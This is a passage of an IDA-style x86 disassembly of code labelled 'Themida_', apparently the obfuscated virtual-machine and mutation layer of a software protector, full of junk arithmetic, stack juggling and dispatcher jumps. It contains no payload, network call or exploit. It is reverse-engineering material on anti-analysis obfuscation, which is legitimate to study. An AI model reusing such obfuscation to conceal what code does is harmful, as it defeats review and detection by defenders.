loc_559269: ; CODE XREF: Themida_:0055B6D3j
mov cl, bl
mov ebx, [esp]
jmp loc_555E98
; ---------------------------------------------------------------------------
loc_559273: ; CODE XREF: Themida_:00555BCEj
add ecx, ebx
add ecx, 44AA27B5h
pop ebx
jmp loc_554791
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559281: ; CODE XREF: sub_556A70-B90j
sub al, 6Eh
pop dx
push small 2CF5h
mov word ptr [esp-10h+arg_C], bx
push 2257h
jmp loc_55427B
; ---------------------------------------------------------------------------
loc_559297: ; CODE XREF: sub_556A70-3A65j
or edx, 458152A9h
shl edx, 2
sub edx, 8812F212h
add eax, edx
pop edx
mov ecx, [esp+0]
push ecx
push esp
jmp loc_558231
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5592B3: ; CODE XREF: Themida_:00559612j
and eax, 4EF84D38h
add eax, 3561797Bh
add eax, 88068669h
add ecx, eax
pop eax
push 6837h
mov [esp], esi
mov esi, 2
add ecx, esi
jmp loc_555FBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5592D9: ; CODE XREF: sub_556A70+BF4j
add esp, 4
add ebx, 0FFFBDEA3h
add ecx, ebx
jmp loc_55C694
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5592EC: ; CODE XREF: Themida_:005522E0j
mov [esp], ecx
push ebx
mov ebx, 2C23386Fh
push ebx
mov ebx, 22010B48h
push edi
jmp loc_553162
; ---------------------------------------------------------------------------
loc_559301: ; CODE XREF: Themida_:00558EC8j
mov [esp], eax
push ebp
push ebx
push 7CB470D2h
jmp loc_554F76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559310: ; CODE XREF: sub_556A70+914j
sub al, 23h
pop edx
add al, bl
push edx
mov dl, 0CAh
add al, dl
pop edx
push edx
mov edx, esp
push esi
mov esi, 4
add edx, esi
pop esi
sub edx, 4
xchg edx, [esp+0]
jmp loc_551523
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_559335: ; CODE XREF: sub_55A748-793Ej
mov bh, 0B2h
xor bh, ah
pop eax
push eax
push edx
mov dl, bh
mov ah, dl
pop edx
mov dl, ah
push [esp+0Ch+var_C]
jmp loc_559BE9
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
loc_55934B: ; CODE XREF: Themida_:005535DBj
mov ebx, 44702857h
neg ebx
push ebx
inc dword ptr [esp]
pop ebx
xor ebx, 203E560Ch
push eax
mov eax, 3937762Dh
and ebx, eax
jmp loc_55A89B
; ---------------------------------------------------------------------------
loc_55936A: ; CODE XREF: Themida_:005542AFj
mov ebp, esp
add ebp, 4
push ebx
jmp loc_55396D
; ---------------------------------------------------------------------------
loc_559378: ; CODE XREF: Themida_:00558C81j
xchg edx, [esp]
pop esp
mov [esp], edi
jmp loc_5587E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_559384: ; CODE XREF: sub_552B74-7EDj
add edi, esi
jmp loc_5559CD
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55938B: ; CODE XREF: sub_556A70-13D5j
mov esi, esp
add esi, 4
jmp loc_5537B7
; ---------------------------------------------------------------------------
loc_559398: ; CODE XREF: sub_556A70-2385j
mov eax, 12731B4Eh
add eax, 39813317h
neg eax
xor eax, 35915408h
sub eax, 0FFFFFFFFh
xor eax, 819AE595h
add edx, eax
pop eax
inc edx
xor edx, 79504380h
add esi, 65D92D42h
add esi, edx
sub esi, 65D92D42h
pop edx
jmp sub_551B42
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5593D1: ; CODE XREF: Themida_:00558517j
mov [esp], ecx
push 6F376C6Dh
pop ecx
jmp loc_55C8A9
; ---------------------------------------------------------------------------
loc_5593DF: ; CODE XREF: Themida_:00558D96j
sub al, 0ACh
push edx
mov dh, 0DBh
jmp loc_557DAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5593E9: ; CODE XREF: sub_556A70+A39j
push edi
jmp loc_55302B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5593EF: ; CODE XREF: Themida_:0055C52Ej
mov al, bh
pop bx
not dl
xchg dl, al
push 0
sub byte ptr [esp], 0F2h
sub [esp], al
add byte ptr [esp], 0F2h
mov al, [esp]
add esp, 4
add al, 0ABh
jmp loc_55AAA0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553B16
loc_559414: ; CODE XREF: sub_553B16-B55j
add edx, 7A523F2Ch
push eax
mov eax, 1
add edx, eax
jmp loc_5527FB
; END OF FUNCTION CHUNK FOR sub_553B16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550BFD
loc_559427: ; CODE XREF: sub_550BFD+5688j
add edx, ebx
pop ebx
push ecx
mov ecx, 3ABC277Bh
push ebx
mov ebx, 49E421A6h
sub ecx, ebx
pop ebx
jmp loc_5598EC
; END OF FUNCTION CHUNK FOR sub_550BFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55943E: ; CODE XREF: sub_556A70-1CC9j
add al, 9
sub al, ch
jmp loc_5511A5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559447: ; CODE XREF: Themida_:0055A379j
add edx, edi
pop edi
push ebp
mov ebp, 2
add edx, ebp
pop ebp
jmp loc_551B2F
; ---------------------------------------------------------------------------
loc_559458: ; CODE XREF: Themida_:00556734j
add esi, 4
xchg esi, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_559478: ; CODE XREF: Themida_:00553501j
add edi, 4
jmp loc_5553AB
; ---------------------------------------------------------------------------
loc_559483: ; CODE XREF: Themida_:00555EADj
xor dl, 0FBh
mov bl, dl
pop edx
sub bl, 7Dh
jmp loc_55198C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559491: ; CODE XREF: sub_556A70+928j
mov bh, 92h
sub esp, 4
mov [esp+8+var_8], edx
mov dl, bh
mov ah, dl
pop edx
pop ebx
and ah, 2Eh
jmp loc_55C75D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553D0
loc_5594A7: ; CODE XREF: sub_5553D0-4845j
mov ah, 0F5h
not ah
neg ah
xor ah, 91h
jmp loc_559508
; END OF FUNCTION CHUNK FOR sub_5553D0
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 433Ch
jmp loc_556606
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5594C2: ; CODE XREF: sub_556A70-56Fj
push eax
mov eax, 7D060D0Ah
jmp loc_55A352
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5594CD: ; CODE XREF: Themida_:00551050j
add esp, 4
jmp loc_5513A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5594D5: ; CODE XREF: sub_556A70+1A75j
mov ah, 0C2h
sub dl, ah
jmp loc_55C929
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553A74
loc_5594DE: ; CODE XREF: sub_553A74-6EAj
add ecx, eax
push edx
mov edx, 3875035Eh
shr edx, 3
neg edx
neg edx
sub edx, 0B3F36CB2h
sub ecx, edx
pop edx
pop eax
push ecx
push [esp-4+arg_4]
pop ecx
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_553A74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553D0
loc_559508: ; CODE XREF: sub_5553D0+40E0j
add bl, ah
pop eax
jmp loc_553637
; END OF FUNCTION CHUNK FOR sub_5553D0
; ---------------------------------------------------------------------------
loc_559510: ; CODE XREF: Themida_:00552184j
xor ebx, [esp]
jmp loc_55B0E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551E74
loc_559518: ; CODE XREF: sub_551E74+A7ADj
push ecx
jmp loc_55B409
; END OF FUNCTION CHUNK FOR sub_551E74
; ---------------------------------------------------------------------------
loc_55951E: ; CODE XREF: Themida_:00557F9Bj
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_559523: ; CODE XREF: Themida_:005565D8j
sub ebx, 128D1C07h
mov esi, ebx
pop ebx
add ecx, esi
pop esi
jmp loc_55347B
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_550B34
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_558106
; ---------------------------------------------------------------------------
loc_55955E: ; CODE XREF: Themida_:00553CDEj
xchg ebp, [esp]
jmp loc_555799
; ---------------------------------------------------------------------------
loc_559566: ; CODE XREF: Themida_:00554243j
xor [esp], esi
jmp loc_5558F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55956E: ; CODE XREF: sub_556A70+325j
push dword ptr [esp+0]
pop ecx
add esp, 4
sub ebx, 4
xchg ebx, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], ebx
mov ebx, 200h
or [edi+1Ch], ebx
push [esp-8+arg_4]
jmp loc_55A69A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push esp
pop eax
push edi
push esi
mov esi, 57865B5h
mov edi, esi
pop esi
push ebx
mov ebx, 68E72D2Ch
jmp loc_555451
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5595AE: ; CODE XREF: sub_556A70+3E17j
add ebx, edi
sub ebx, 31921E65h
pop edi
jmp loc_55B380
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5595BC: ; CODE XREF: Themida_:00553B98j
mov esi, 428B28C1h
inc esi
neg esi
not esi
add esi, 0BD74D743h
mov ebp, esi
pop esi
add edi, ebp
pop ebp
push eax
mov eax, 4FCD5ADDh
shr eax, 7
push edi
mov edi, 65081A69h
xor edi, 441A645Ch
jmp loc_551694
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5595EC: ; CODE XREF: sub_556A70-53A3j
mov edx, 4
add eax, edx
pop edx
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
jmp loc_551F6E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_559602: ; CODE XREF: sub_5566B9+6351j
add esp, 4
push ebx
push esp
mov ebx, [esp+10h+var_10]
jmp loc_552D9B
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_55960F: ; CODE XREF: Themida_:00558358j
add eax, esi
pop esi
jmp loc_5592B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559617: ; CODE XREF: sub_556A70+639j
shl dl, 4
not dl
or dl, 0CFh
push ebx
mov bh, 0Bh
add dl, bh
jmp loc_559A04
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559629: ; CODE XREF: Themida_:0055BCF7j
pop eax
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, 2C40142Eh
push eax
mov eax, 0
sub eax, ebx
xchg eax, ebx
pop eax
neg ebx
shr ebx, 3
jmp loc_553B6B
; ---------------------------------------------------------------------------
loc_55965B: ; CODE XREF: Themida_:0055910Bj
mov [esp], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_55CA6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559671: ; CODE XREF: sub_556A70-378Fj
add esp, 4
add ax, dx
pop dx
push ax
mov ax, 4EACh
sub bx, ax
pop ax
push ebp
push small 0FBFh
pop bp
and bp, 32D5h
add bp, 29C7h
shl bp, 8
push ecx
mov cx, 6E39h
dec cx
sub cx, 621Ch
sub bp, cx
pop ecx
jmp loc_5522A7
; ---------------------------------------------------------------------------
loc_5596AE: ; CODE XREF: sub_556A70-2E18j
sub eax, edi
sub eax, 377C59CAh
pop edi
jmp loc_554BB1
; ---------------------------------------------------------------------------
loc_5596BB: ; CODE XREF: sub_556A70+8DEj
add edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
jmp loc_5530B7
; ---------------------------------------------------------------------------
loc_5596D7: ; CODE XREF: sub_556A70-287Ej
mov ecx, ebx
pop ebx
push esi
mov esi, 1E9A18E7h
and ecx, esi
jmp loc_55622C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5596E7: ; CODE XREF: sub_5584F8+2F67j
mov [esp+0], edi
jmp loc_55993B
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_5596EF: ; CODE XREF: Themida_:00555B02j
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5596F4: ; CODE XREF: sub_556A70-46C9j
add ecx, 4
xchg ecx, [esp-8+arg_4]
jmp loc_559F14
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_5596FF: ; CODE XREF: sub_552E24+242Cj
pop ebx
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+8+var_8]
jmp loc_556572
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559719: ; CODE XREF: sub_556A70-3DB7j
mov [esp+0], ebx
push 0F194CF1h
pop ebx
sub eax, ebx
jmp loc_554417
; ---------------------------------------------------------------------------
loc_559729: ; CODE XREF: sub_556A70-1B8Ej
mov esi, 0DA110AEh
sub eax, esi
pop esi
jmp loc_55C65A
; ---------------------------------------------------------------------------
loc_559736: ; CODE XREF: sub_556A70-218j
push [esp+14h+var_14]
mov ecx, [esp+18h+var_18]
add esp, 4
jmp loc_558FEA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559744: ; CODE XREF: Themida_:005598A6j
pop eax
mov eax, [esp]
jmp loc_55C94B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_55974D: ; CODE XREF: sub_555B85-1F3Ej
mov edi, [esp+8+var_8]
add esp, 4
add ebx, ecx
pop ecx
jmp loc_55B4E2
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push 46BEh
jmp loc_557EA7
; ---------------------------------------------------------------------------
loc_55976A: ; CODE XREF: Themida_:00554F06j
pop dword ptr [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_554D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55977B: ; CODE XREF: sub_556A70+6424j
mov ecx, [esp+14h+var_14]
add esp, 4
xchg esi, [esp+10h+var_10]
jmp loc_555449
; ---------------------------------------------------------------------------
loc_559789: ; CODE XREF: sub_556A70-4AFFj
push 54B4h
mov [esp-8+arg_4], ebx
push ebp
jmp loc_552647
; ---------------------------------------------------------------------------
loc_559797: ; CODE XREF: sub_556A70-281Cj
push esi
jmp loc_55B81B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55979D: ; CODE XREF: Themida_:00557F7Bj
inc ebx
sub ebx, 0E6CED60Ah
mov eax, ebx
pop ebx
dec eax
jmp loc_551C2E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5597BB: ; CODE XREF: sub_556A70-4300j
add edx, eax
jmp loc_5537BF
; ---------------------------------------------------------------------------
loc_5597C2: ; CODE XREF: sub_556A70-44CFj
pop edx
add edi, 4
xchg edi, [esp-0Ch+arg_8]
pop esp
cmp ecx, eax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5597D2: ; CODE XREF: sub_556A70-1D70j
mov edi, 3F584D13h
sub [esp-0Ch+arg_C], edi
mov edi, [esp-0Ch+arg_8]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_559064
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsb
jmp loc_559E62
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_553331
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553B60
loc_559802: ; CODE XREF: sub_553B60+6j
push ecx
mov ch, 42h
jmp sub_5521AC
; END OF FUNCTION CHUNK FOR sub_553B60
; ---------------------------------------------------------------------------
loc_55980A: ; CODE XREF: Themida_:0055846Aj
sub ebp, 386439F4h
add ebp, 0C7D8E252h
jmp loc_55214A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55982A: ; CODE XREF: Themida_:0055A807j
add edx, 1B7975C1h
push dword ptr [esp]
jmp loc_558440
; ---------------------------------------------------------------------------
push 1886h
mov [esp], edx
jmp loc_55A5A7
; ---------------------------------------------------------------------------
loc_559845: ; CODE XREF: Themida_:0055128Bj
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_55984A: ; CODE XREF: sub_55AE6E-64CDj
xor al, 5Fh
and dl, al
jmp loc_55CAE5
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559853: ; CODE XREF: sub_556A70+1602j
xor edx, 254369C1h
shl edx, 5
sub edx, 74403AB5h
jmp loc_553641
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_550D47
; ---------------------------------------------------------------------------
loc_55986F: ; CODE XREF: Themida_:0055B5CCj
add edx, ebx
pop ebx
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55C7D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559883: ; CODE XREF: sub_556A70-3F4Cj
xor si, 1BACh
or si, 6B86h
push edi
mov di, 71A5h
jmp loc_55CF17
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559897: ; CODE XREF: Themida_:00555524j
mov eax, ecx
mov ecx, [esp]
add esp, 4
xor [esp+4], eax
jmp loc_559744
; ---------------------------------------------------------------------------
loc_5598AB: ; CODE XREF: Themida_:0055A7E1j
push 6E16h
mov [esp], edi
push ebp
push 3ABC5DCAh
pop ebp
inc ebp
push edi
mov edi, 0
sub edi, ebp
xchg edi, ebp
jmp loc_55A170
; ---------------------------------------------------------------------------
loc_5598CA: ; CODE XREF: Themida_:00553C1Aj
add edi, 0FFFFFFFFh
add edi, 0A63FCCFCh
add ebx, 8F38D8h
add ebx, edi
push ecx
mov ecx, 8F38D8h
sub ebx, ecx
pop ecx
jmp loc_55AEE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550BFD
loc_5598EC: ; CODE XREF: sub_550BFD+883Cj
add ecx, 4D581D4Ch
add ecx, 25E436F4h
and ecx, 3B33249Eh
not ecx
xor ecx, 918DDDFDh
sub edx, 3A5F6E02h
add edx, 1B6A2980h
add edx, 51DE1E2Ah
jmp loc_55528B
; END OF FUNCTION CHUNK FOR sub_550BFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A6CD
loc_55991D: ; CODE XREF: sub_55A6CD-270Cj
pop ebp
jmp loc_55CDD7
; END OF FUNCTION CHUNK FOR sub_55A6CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_559923: ; CODE XREF: sub_553D17+29C4j
mov ch, 68h
mov bl, ch
mov ecx, [esp+0]
add esp, 4
add bl, al
pop eax
jmp loc_559BDE
; END OF FUNCTION CHUNK FOR sub_553D17
; ---------------------------------------------------------------------------
loc_559935: ; CODE XREF: Themida_:00551C24j
push ebp
jmp loc_55761D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55993B: ; CODE XREF: sub_5584F8+11F2j
push [esp+arg_0]
jmp loc_558789
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559944: ; CODE XREF: sub_556A70+5002j
xor ecx, [esp+0]
pop esp
push ebx
push edx
mov edx, 3A5A29B0h
push edi
jmp loc_55CA1A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559955: ; CODE XREF: Themida_:00558D90j
add esi, 55424A21h
pop ecx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push ebx
push esp
jmp loc_556F35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55996C: ; CODE XREF: sub_556A70+E39j
add ecx, ebp
pop ebp
xor ecx, [esp-4+arg_0]
jmp loc_55BA6F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559977: ; CODE XREF: Themida_:00555B45j
pop eax
and eax, 3CEB4358h
sub eax, 28C84256h
mov edx, eax
mov eax, [esp]
add esp, 4
push edx
jmp loc_554693
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_559993: ; CODE XREF: sub_552634+97EAj
mov ecx, [esp+0]
add esp, 4
add edx, 6A9B0D29h
add edx, eax
sub edx, 6A9B0D29h
pop eax
sub edx, 4DA278CDh
jmp loc_55AA7F
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5599B6: ; CODE XREF: sub_556A70-1FC3j
add ecx, 2FF15FE6h
sub ecx, 521D323Fh
sub eax, ecx
pop ecx
mov esi, eax
jmp loc_5555BF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_5599CC: ; CODE XREF: sub_55B730-5D93j
add esp, 4
sub ebp, 2EB36B46h
not ebp
sub ebp, 384EA636h
jmp loc_55A656
; END OF FUNCTION CHUNK FOR sub_55B730
; =============== S U B R O U T I N E =======================================
sub_5599E2 proc near ; CODE XREF: sub_556A70+5B74j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553214 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00555E6E SIZE 00000013 BYTES
sub esp, 4
jmp loc_553214
sub_5599E2 endp
; ---------------------------------------------------------------------------
loc_5599EA: ; CODE XREF: Themida_:00553AA9j
or cl, 0CAh
not cl
shl cl, 3
shr cl, 7
xor cl, 0F1h
jmp loc_55309E
; ---------------------------------------------------------------------------
loc_5599FD: ; CODE XREF: Themida_:005587F0j
or esi, edi
jmp loc_55AECF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559A04: ; CODE XREF: sub_556A70+2BB4j
pop ebx
add al, 7Bh
sub al, dl
sub al, 7Bh
pop edx
mov ecx, [esp+0]
add esp, 4
jmp sub_552B74
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_559A17: ; CODE XREF: sub_555B85+Cj
neg ebx
sub ebx, 8F6A5B71h
jmp loc_55BB36
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559A24: ; CODE XREF: sub_556A70+270Fj
xor ebx, edx
pop edx
push ebx
jmp loc_55891F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push 5D43h
mov [esp], edx
jmp loc_551565
; ---------------------------------------------------------------------------
lodsw
xor ax, bx
push 2F68h
mov [esp], esi
mov si, 4ECBh
push cx
mov cx, 4402h
jmp loc_55BCFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559A56: ; CODE XREF: sub_556A70-849j
xchg edi, esi
xchg eax, edi
not eax
xchg eax, edi
xchg edi, esi
jmp loc_55CCDF
; ---------------------------------------------------------------------------
loc_559A63: ; CODE XREF: sub_556A70-544j
push 0D9Ah
mov [esp+10h+var_10], edi
push [esp+10h+var_C]
pop edi
pop [esp+10h+var_10]
jmp loc_553D94
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5521AC
loc_559A78: ; CODE XREF: sub_5521AC+ADCBj
add bl, dh
sub bl, 9Fh
pop edx
add bl, 2Bh
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_5521AC
; ---------------------------------------------------------------------------
loc_559A8D: ; CODE XREF: Themida_:00554461j
pop ebx
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_556116
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_559AA3: ; CODE XREF: sub_55AE6E-2950j
mov edx, [esp-6+arg_2]
add esp, 4
jmp sub_559F2D
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559AB1: ; CODE XREF: sub_556A70+3F67j
push esi
mov esi, 599710BAh
push eax
mov eax, 7DD5606Ah
xor esi, eax
pop eax
jmp loc_553CBC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559AC5: ; CODE XREF: Themida_:00554D3Ej
add al, 4Bh
add al, 84h
add al, cl
sub al, 84h
sub al, 4Bh
sub esp, 4
mov [esp], edx
mov dl, 8Ch
jmp loc_5570A2
; ---------------------------------------------------------------------------
loc_559ADF: ; CODE XREF: Themida_:00552F78j
shr ebp, 8
jmp loc_552412
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559AE7: ; CODE XREF: sub_556A70-83Dj
add ebp, 7ABD3441h
push ebx
mov ebx, 0D0B91812h
xor ebp, ebx
pop ebx
add ecx, ebp
pop ebp
jmp loc_5577BE
; ---------------------------------------------------------------------------
loc_559AFE: ; CODE XREF: sub_556A70-3D6Ej
mov [esp+4+var_4], eax
push 2
pop eax
jmp loc_557069
; ---------------------------------------------------------------------------
loc_559B0C: ; CODE XREF: sub_556A70+19B8j
add ebp, 56634FBEh
add ebp, eax
sub ebp, 56634FBEh
pop eax
jmp loc_55C675
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559B20: ; CODE XREF: Themida_:00552ACCj
add esp, 2
sub al, 6Fh
jmp loc_55520A
; =============== S U B R O U T I N E =======================================
sub_559B2A proc near ; CODE XREF: sub_556A70-3D95j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00551E81 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005585C3 SIZE 0000000B BYTES
push ebx
mov ebx, 634F5DA7h
push edx
mov edx, 1EA8177Eh
add edx, 44A74627h
xor ebx, edx
jmp loc_5585C3
sub_559B2A endp
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebx
push esp
jmp loc_557BD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559B53: ; CODE XREF: sub_556A70+4BB6j
shl edx, 3
neg edx
shl edx, 6
sub edx, 25027C4Ah
or ebp, edx
pop edx
push edx
mov edx, 2B662567h
neg edx
or edx, 4D0C78F6h
and edx, 136963BEh
jmp loc_552B97
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559B7D: ; CODE XREF: Themida_:00554951j
shr edi, 1
jmp loc_55712C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559B84: ; CODE XREF: sub_556A70+59EDj
push esp
pop [esp-1Ah+arg_14+2]
jmp loc_55CEAA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559B8D: ; CODE XREF: Themida_:00552A24j
mov edx, 6043637Eh
add eax, 1E9B049Ah
add eax, edx
sub eax, 1E9B049Ah
pop edx
push 28Ch
mov [esp], edi
mov edi, 42A31329h
dec edi
jmp loc_558A5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559BB2: ; CODE XREF: sub_556A70-829j
mov ecx, 43A76C5Dh
inc ecx
or ecx, 59B44875h
xor ecx, 0B8AFA986h
